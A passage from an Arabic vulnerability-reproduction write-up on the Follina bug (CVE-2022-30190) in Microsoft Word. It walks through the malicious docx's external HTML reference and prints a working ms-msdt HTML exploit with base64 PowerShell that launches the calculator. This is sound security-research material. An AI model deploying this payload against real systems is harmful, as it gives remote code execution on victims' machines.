
إعادة إنتاج ثغرة CVE-2022-30190 (Follina) لتنفيذ التعليمات البرمجية عن بُعد في Microsoft Office Word عبر ملفات docx/rtf خبيثة باستخدام معالج بروتوكول ms-msdt.
إعادة إنتاج ثغرة RCE في Microsoft Office Word (CVE-2022-30190)
قد تحتوي ملفات MS Office docx على مراجع كائنات OLE خارجية كملفات HTML. يوجد سيناريو HTML يستخدم ms-msdt: لاستدعاء أداة التشخيص msdt، والتي يمكنها تنفيذ تعليمات برمجية عشوائية (محددة في الوسائط).
النتيجة هي ناقل هجوم خطير يتيح الحصول على RCE بمجرد فتح ملف docx خبيث (بدون استخدام وحدات ماكرو).
تم الحصول على العينة التي نشرها @nao_sec لأول مرة على تويتر، وتم تنزيلها.

افتح 02-2022-0438.doc باستخدام برنامج فك الضغط.

افتح الملف /word/_rels/document.xml.rels كما هو موضح في الصورة أدناه.

حسنًا، في الجزء المحدد بخط في الصورة أعلاه نرى أنه يحتوي على مرجع خارجي إلى hxxps://www.xmlformats.com/office/word/2022/wordprocessingDrawing/RDF842l.html.
العنوان الأصلي لملف HTML الخبيث لم يعد متاحًا، لذلك تم عمل fork لملف HTML الخبيث الذي قدمه @nao_sec، وهو كالتالي:
<!doctype html>
<html lang="en">
<body>
<script>
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//重复....
window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=h$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'JGNtZCA9ICJjOlx3aW5kb3dzXHN5c3RlbTMyXGNhbGMuZXhlIjtTdGFydC1Qcm9jZXNzICRjbWQ7'+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe IT_AutoTroubleshoot=ts_AUTO\"";
</script>
</body>
</html>
أما عن سبب الحاجة إلى كل تلك البيانات الزائدة في البداية، فهو جعل حجم ملف HTML بالكامل يصل إلى 4096 بايت. للتحليل المفصّل، راجع https://www.huntress.com/blog/microsoft-office-remote-code-execution-follina-msdt-bug
بما أن الـ POC أعلاه ينفذ POWERSHELL، فقد استبدلناه بالآلة الحاسبة، والكود كالتالي: